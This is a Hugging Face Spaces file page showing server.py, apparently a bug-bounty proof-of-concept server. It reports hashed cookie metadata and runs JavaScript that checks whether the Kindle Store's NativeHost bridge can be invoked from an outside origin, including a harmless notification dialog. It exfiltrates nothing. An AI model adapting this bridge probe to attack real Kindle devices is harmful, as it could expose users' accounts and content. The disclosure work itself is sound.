Spaces:
Sleeping
Sleeping
Download server.py from danielgaskins/kstore-amazon: direct link, hf CLI and curl.
- Browser
- Download file 2.74 kB
-
https://huggingface.co/spaces/danielgaskins/kstore-amazon/resolve/main/server.py
- Command line
-
hf download hf://spaces/danielgaskins/kstore-amazon/server.py
-
curl -L -o server.py https://huggingface.co/spaces/danielgaskins/kstore-amazon/resolve/main/server.py
2.74 kB
| import hashlib | |
| import html | |
| from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer | |
| def cookie_metadata(raw): | |
| rows = [] | |
| for part in raw.split(";") if raw else []: | |
| name, sep, value = part.strip().partition("=") | |
| if not sep: | |
| continue | |
| rows.append({ | |
| "name": name, | |
| "length": len(value), | |
| "sha256_prefix": hashlib.sha256(value.encode()).hexdigest()[:16], | |
| }) | |
| return rows | |
| class Handler(BaseHTTPRequestHandler): | |
| def log_message(self, fmt, *args): | |
| # Do not persist request headers or credential values. | |
| pass | |
| def do_GET(self): | |
| rows = cookie_metadata(self.headers.get("Cookie", "")) | |
| table = "".join( | |
| "<tr><td>%s</td><td>%d</td><td>%s</td></tr>" % ( | |
| html.escape(row["name"]), row["length"], row["sha256_prefix"] | |
| ) for row in rows | |
| ) or "<tr><td colspan=3>none</td></tr>" | |
| body = f'''<!doctype html> | |
| <meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"> | |
| <meta name="robots" content="noindex,nofollow,noarchive"> | |
| <title>Amazon VRP Kindle Store validation</title> | |
| <style>body{{font:18px sans-serif;padding:24px}}pre,table{{padding:12px;background:#eee}}td,th{{padding:6px}}</style> | |
| <h1>Amazon VRP validation page</h1> | |
| <p id="marker">KSTORE_HOST_BOUNDARY_20261117</p> | |
| <h2>Server-observed cookie metadata</h2> | |
| <table><tr><th>Name</th><th>Value length</th><th>SHA-256 prefix</th></tr>{table}</table> | |
| <h2>Bounded bridge checks</h2><pre id="result">Running…</pre> | |
| <script> | |
| (() => {{ | |
| const r={{marker:"KSTORE_HOST_BOUNDARY_20261117",origin:location.origin, | |
| nativeHostPresent:typeof NativeHost!=="undefined",storeWebViewPresent:typeof StoreWebView!=="undefined"}}; | |
| if(r.nativeHostPresent){{ | |
| try{{r.accessibilityEnabled=NativeHost.getAccessibilityStatus()}}catch(e){{r.accessibilityError=String(e)}} | |
| try{{r.syntheticContentOwned=NativeHost.isContentOnDevice("B000000000","EBOK")}}catch(e){{r.contentError=String(e)}} | |
| try{{NativeHost.showNotificationDialog("Amazon VRP safe validation","A researcher-controlled HTTPS origin invoked the Kindle Store bridge. No purchase, download, or account change was attempted.");r.dialogInvoked=true}}catch(e){{r.dialogError=String(e)}} | |
| }} | |
| document.getElementById("result").textContent=JSON.stringify(r,null,2); | |
| }})(); | |
| </script>'''.encode() | |
| self.send_response(200) | |
| self.send_header("Content-Type", "text/html; charset=utf-8") | |
| self.send_header("Cache-Control", "no-store") | |
| self.send_header("Content-Length", str(len(body))) | |
| self.end_headers() | |
| self.wfile.write(body) | |
| ThreadingHTTPServer(("0.0.0.0", 7860), Handler).serve_forever() | |